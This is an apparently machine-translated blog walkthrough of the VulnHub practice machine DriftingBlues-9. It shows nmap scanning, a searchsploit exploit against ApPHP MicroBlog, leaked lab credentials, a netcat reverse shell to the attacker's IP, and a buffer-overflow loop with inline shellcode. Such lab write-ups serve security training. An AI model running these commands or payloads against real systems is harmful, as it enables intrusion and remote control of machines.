当前位置:网站首页>After reading this article, I will teach you to play with the penetration test target vulnhub - drivetingblues-9
After reading this article, I will teach you to play with the penetration test target vulnhub - drivetingblues-9
2022-07-03 01:27:00 【Lonely fish】
Vulnhub Drone aircraft DriftingBlues-9 Penetration test details
Vulnhub Introduction to target machine :
vulnhub It is a comprehensive shooting range providing various vulnerability platforms , A variety of virtual machines can be downloaded , Local VM Open the can , Complete the penetration test like a game 、 Raise the right 、 Exploit 、 Code audit and other interesting actual combat .
Update this issue Vulnhub DriftingBlues series I still found it as usual FLAG that will do , May be biased towards CTF spot .
Vulnhub Target download :
Official website address :https://www.vulnhub.com/entry/driftingblues-9-final,695/
After downloading, unzip the installation package Then try VMware that will do .
Vulnhub Detailed explanation of target vulnerability :
①: information gathering :
kali Use in netdiscover
Discover the host
Infiltration machine :kali IP :192.168.205.133 Drone aircraft IP :192.168.205.145
Use command :
nmap -sS -A -T4 -n 192.168.205.145
Open the 80
Port and 111
port As usual, visit first 80
port Look directly at the source code Found out ApPHP MicroBlog
edition by v.1.0.1
( The first time I met )
②: Exploit :
Use searchsploit
Search for related vulnerabilities The second one can be used
Use the command to copy the script to the local :searchsploit -m php/webapps/33070.py
Use python2
Execute the script :python2 ./33070.py http://192.168.205.145
Found database information There is an account number and password Namely :clapton/yaraklitepe
Use command :ls /home
Discovery is the same as data users It's fine too cat /etc/passwd
Check to see if there is nc
: whish nc
③: rebound shell:
stay kali
Turn on nc
monitor :nc -lvp 6666
stay shell
perform :nc 192.168.205.133 6666 -e /bin/bash
Use command interaction shell
:python -c 'import pty;pty.spawn("/bin/bash")'
Try switching users :clapton / yaraklitepe
Got the first flag
④: Buffer overflow right extraction :
Tips here Buffer is the solution ( What buffer !!! The first encounter will not pwn)
for i in {
1..10000}; do (./input $(python -c 'print("A" * 171 + "\x10\x0c\x97\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
Specific reference :https://www.ngui.cc/article/show-373956.html
https://blog.csdn.net/qq_32261191/article/details/117908644
⑤: obtain flag:
So far, we have obtained all flag, End of penetration test .
Vulnhub Target penetration summary :
①:searchsploit
Tool usage
②:RCE
Exploit
③: Buffer overflow right extraction ( Because there is no foundation, it is not very Follow up in learning )
This is also DriftingBlues Study of the last target aircraft in the series , I hope you can also learn some new knowledge points and some penetration testing ideas
Finally, creation is not easy I hope that's helpful !!
边栏推荐
- Makefile中wildcard、patsubst、notdir的含义
- Asynchronous, email and scheduled tasks
- 给你一个可能存在 重复 元素值的数组 numbers ,它原来是一个升序排列的数组,并按上述情形进行了一次旋转。请返回旋转数组的最小元素。【剑指Offer】
- The R language uses the ctree function in the party package to build conditional inference decision trees, uses the plot function to visualize the trained conditional inference decision tree, and the
- leetcode 2097 — 合法重新排列数对
- [自我管理]时间、精力与习惯管理
- Key wizard play strange learning - multithreaded background coordinate recognition
- MySQL基础用法02
- 软考信息系统项目管理师_历年真题_2019下半年错题集_上午综合知识题---软考高级之信息系统项目管理师053
- 1696C. Fishingprince plays with array [thinking questions + intermediate state + optimized storage]
猜你喜欢
强化学习 Q-learning 实例详解
MySQL basics 03 introduction to MySQL types
Trois tâches principales: asynchrone, courrier et timing
12_ Implementation of rolling automatic video playback effect of wechat video number of wechat applet
Why can't the start method be called repeatedly? But the run method can?
Using tensorboard to visualize the model, data and training process
How wide does the dual inline for bread board need?
给你一个可能存在 重复 元素值的数组 numbers ,它原来是一个升序排列的数组,并按上述情形进行了一次旋转。请返回旋转数组的最小元素。【剑指Offer】
Niu Ke swipes questions and clocks in
MySQL
随机推荐
Now that the teenager has returned, the world's fireworks are the most soothing and ordinary people return to work~
MySQL
How is the mask effect achieved in the LPL ban/pick selection stage?
wirehark数据分析与取证A.pacapng
Using tensorboard to visualize the model, data and training process
看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-9
Button wizard play strange learning - go back to the city to buy medicine and add blood
[fh-gfsk] fh-gfsk signal analysis and blind demodulation research
Niu Ke swipes questions and clocks in
[system analyst's road] Chapter V double disk software engineering (development model development method)
[my advanced journey of OpenGL learning] collation of Euler angle, rotation order, rotation matrix, quaternion and other knowledge
How wide does the dual inline for bread board need?
MySQL --- 数据库查询 - 基本查询
dotConnect for PostgreSQL数据提供程序
Is there a handling charge for spot gold investment
Database SQL language 01 where condition
[Cao gongzatan] after working in goose factory for a year in 2021, some of my insights
按键精灵打怪学习-自动回城路线的判断
测试右移:线上质量监控 ELK 实战
Detailed explanation of Q-learning examples of reinforcement learning